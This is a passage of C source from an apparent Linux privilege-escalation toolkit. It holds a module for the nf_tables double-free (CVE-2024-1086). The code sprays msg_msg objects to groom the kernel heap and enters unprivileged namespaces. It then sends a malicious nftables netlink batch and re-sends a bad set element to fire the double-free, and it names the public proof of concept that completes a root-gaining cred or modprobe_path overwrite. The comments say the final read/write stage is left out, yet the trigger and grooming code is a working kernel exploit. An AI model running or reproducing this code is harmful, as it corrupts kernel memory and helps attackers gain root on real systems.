* setelem is rejected with EINVAL after the side effect already
* landed. */
char rbuf[8192];
for (int i = 0; i < 8; i++) {
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
if (r <= 0) break;
/* parse error replies for diagnostics */
for (struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
NLMSG_OK(nh, (unsigned)r);
nh = NLMSG_NEXT(nh, r)) {
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(nh);
if (e->error)
fprintf(stderr, "[i] netlink ack: seq=%u err=%d (%s)\n",
nh->nlmsg_seq, e->error, strerror(-e->error));
}
}
}
return 0;
}
/* ------------------------------------------------------------------
* Cross-cache groom scaffold. The full chain needs:
* - pre-allocate N sysv-msg messages (sys_msgsnd) so the kernel's
* kmalloc-cg-{96,128,...} slab has predictable free slots
* - between the malicious NEWSETELEM (which puts the bad verdict
* into a kmalloc'd nft_set_elem) and the DELRULE (which fires
* the double-free), spray a target slab to control what reuses
* the freed chunk
* For Option B we wire the spray skeleton (msg_msg via msgsnd) so
* the timing/sizing is right; but the kernel-R/W primitive is the
* piece we're explicitly NOT shipping (per the Option B contract).
* ------------------------------------------------------------------ */
#define SPRAY_MSGS 64
#define SPRAY_SIZE 96 /* targets kmalloc-cg-96 / kmalloc-96 — same slab
* class as nft_chain on most kernels in range */
struct msgbuf_payload {
long mtype;
char mtext[SPRAY_SIZE];
};
static int spray_msg_msg(int *queue_ids, int n)
{
for (int i = 0; i < n; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0644);
if (q < 0) { perror("[-] msgget"); return -1; }
queue_ids[i] = q;
struct msgbuf_payload m;
m.mtype = 0x4141414100 + i;
memset(m.mtext, 0x42 + (i & 0x3f), sizeof m.mtext);
if (msgsnd(q, &m, sizeof m.mtext, 0) < 0) {
perror("[-] msgsnd"); return -1;
}
}
return 0;
}
static void drain_spray(int *queue_ids, int n)
{
for (int i = 0; i < n; i++) {
if (queue_ids[i] >= 0)
msgctl(queue_ids[i], IPC_RMID, NULL);
}
}
/* ------------------------------------------------------------------
* Slabinfo observation: best-effort diagnostic showing the bug fired.
* On a vulnerable kernel with KASAN off, the double-free typically
* shows up as a momentary spike in {kmalloc-cg-96|nft_chain} usage,
* or a freelist corruption if our spray claimed the freed slot.
* ------------------------------------------------------------------ */
static long slabinfo_active(const char *slab)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, slab, strlen(slab)) == 0 &&
line[strlen(slab)] == ' ') {
long a, b, c, d;
if (sscanf(line + strlen(slab), " %ld %ld %ld %ld",
&a, &b, &c, &d) >= 1) {
active = a;
}
break;
}
}
fclose(f);
return active;
}
/* ------------------------------------------------------------------
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr,
"[-] nf_tables: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY (see CVES.md).\n"
" Reference: Notselwyn's CVE-2024-1086 public PoC. The exploit\n"
" uses double-free → cross-cache UAF → arbitrary kernel R/W →\n"
" overwrite modprobe_path or current task's cred. Porting that\n"
" into iamroot_module form (with the userns + nft_set + nft_pipapo\n"
" setup boilerplate) is the next nf_tables commit.\n");
return IAMROOT_PRECOND_FAIL;
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
/* Gate 2: already root? Nothing to escalate. */
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: Option B trigger — fires the double-free\n"
" state but does NOT complete the kernel-R/W chain.\n"
" See Notselwyn's CVE-2024-1086 public PoC for the\n"
" cred-overwrite stage (~500 LOC of pipapo grooming).\n");
}
/* Fork: child enters userns+netns and fires the bug. If the
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
if (enter_unpriv_namespaces() < 0) _exit(20);
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: entered userns+netns; opening nfnetlink\n");
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); _exit(22);
}
/* Larger receive buffer so error replies don't drop. */
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
/* Phase 1: pre-spray msg_msg so the slab is predictable. */
int qids[SPRAY_MSGS];
for (int i = 0; i < SPRAY_MSGS; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
fprintf(stderr, "[-] nf_tables: pre-spray failed\n");
close(sock); _exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: pre-sprayed %d msg_msg slots\n",
SPRAY_MSGS / 2);
}
/* Phase 2: build the ruleset batch. */
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); _exit(24); }
size_t off = 0;
uint32_t seq = (uint32_t)time(NULL);
put_batch_begin(batch, &off, seq++);
put_new_table(batch, &off, seq++);
put_new_chain(batch, &off, seq++);
put_new_set(batch, &off, seq++);
put_malicious_setelem(batch, &off, seq++);
put_batch_end(batch, &off, seq++);
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: sending NEWTABLE/NEWCHAIN/NEWSET/"
"NEWSETELEM batch (%zu bytes)\n", off);
}
if (nft_send_batch(sock, batch, off) < 0) {
fprintf(stderr, "[-] nf_tables: batch send failed\n");
drain_spray(qids, SPRAY_MSGS);
free(batch); close(sock); _exit(25);
}
/* Snapshot slabinfo before trigger. */
long before = slabinfo_active("kmalloc-cg-96");
if (before < 0) before = slabinfo_active("kmalloc-96");
/* Phase 3: post-spray to claim the slot the about-to-be-freed
* chain reference will vacate. (On a real exploit this is the
* spray with a target object — sk_buff fragment list, msg_msg
* payload of just-right size, etc. We spray msg_msg again as
* a placeholder.) */
if (spray_msg_msg(qids + SPRAY_MSGS / 2, SPRAY_MSGS / 2) < 0) {
fprintf(stderr, "[-] nf_tables: post-spray failed\n");
}
/* Phase 4: fire the trigger. The malicious setelem we already
* queued above caused nft_verdict_init() to grab a chain ref
* on a NFT_GOTO whose chain doesn't actually exist. On commit
* (or rollback, depending on kernel rev), the cleanup path
* frees that chain ref twice. We can fire the commit either
* by sending a second batch with DELRULE/DELSET, or by
* closing the netlink socket while the transaction is
* uncommitted.
*
* Easiest: re-send the *same* malicious setelem inside its
* own batch. The second NEWSETELEM with NLM_F_CREATE on the
* already-present element triggers EEXIST in the commit
* phase, which on vulnerable kernels still runs the cleanup
* that double-frees the chain ref. */
size_t off2 = 0;
seq++;
put_batch_begin(batch, &off2, seq++);
put_malicious_setelem(batch, &off2, seq++);
put_batch_end(batch, &off2, seq++);
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: firing trigger (re-send malicious "
"setelem to provoke commit-time double-free)\n");
}
nft_send_batch(sock, batch, off2);
/* Give the kernel time to run the commit cleanup. */
usleep(50 * 1000);
long after = slabinfo_active("kmalloc-cg-96");
if (after < 0) after = slabinfo_active("kmalloc-96");
if (!ctx->json) {
fprintf(stderr, "[i] nf_tables: kmalloc-cg-96 active: %ld → %ld\n",
before, after);
}
drain_spray(qids, SPRAY_MSGS);
free(batch);
close(sock);
/* Honest scope: we fired the bug but did not complete the
* R/W primitive. Return a distinctive exit code so the
* parent can report EXPLOIT_FAIL with the right message. */
_exit(100);
}
/* --- PARENT --- */
int status;
waitpid(child, &status, 0);
if (!WIFEXITED(status)) {
/* Child died by signal — could be KASAN-triggered kernel
* panic propagating as SIGBUS, or a clean SIGSEGV in our
* groom. Either way: trigger fired in some form. */
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: child died by signal %d — bug likely "
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 100) {
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: trigger fired; double-free state\n"
" induced in nft chain refcount. Full kernel\n"
" R/W chain NOT executed (Option B scope).\n"
"[i] nf_tables: to complete the exploit, port\n"
" Notselwyn's pipapo leak + msg_msg+sk_buff\n"
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */